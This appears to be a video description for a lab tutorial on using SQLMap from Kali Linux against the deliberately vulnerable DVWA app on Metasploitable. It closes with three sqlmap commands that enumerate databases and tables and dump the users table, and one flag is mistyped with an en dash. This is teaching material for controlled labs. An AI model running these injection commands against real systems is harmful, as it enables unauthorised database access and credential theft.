SQLMap Tutorial: Hacking DVWA on Metasploitable with Kali Linux | SQL Injection Demo
In this video, I demonstrate how to use SQLMap on Kali Linux to scan and exploit the Damn Vulnerable Web Application (DVWA) running on Metasploitable. This lab is designed for educational and ethical hacking purposes only, helping students and beginners understand how SQL injection attacks work in a controlled environment.
🔹 What you’ll learn in this video:
• Setting up DVWA on Metasploitable
• Running SQLMap from Kali Linux
• Detecting SQL injection vulnerabilities
• Extracting information from a vulnerable database
⚠️ Disclaimer: This video is for educational use only. Do not attempt these techniques on systems you do not own or have explicit permission to test.
👉 If you enjoy this tutorial, don’t forget to like, comment, and subscribe for more cybersecurity labs and ethical hacking content.
📌 Hashtags
#SQLMap #DVWA #KaliLinux #Metasploitable #SQLInjection #EthicalHacking #PenetrationTesting #CyberSecurity #HackTheBox #BugBounty
Commands:
sqlmap -u "http://Replace IP Address/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=Replace SessionID; security=low" \
--batch –dbs
sqlmap -u "http://Replace IP Address/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=Replace SessionID; security=low" \
-D dvwa --tables
sqlmap -u "http://Replace IP Address/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=Replace SessionID; security=low" \
-D dvwa -T users --dump --batch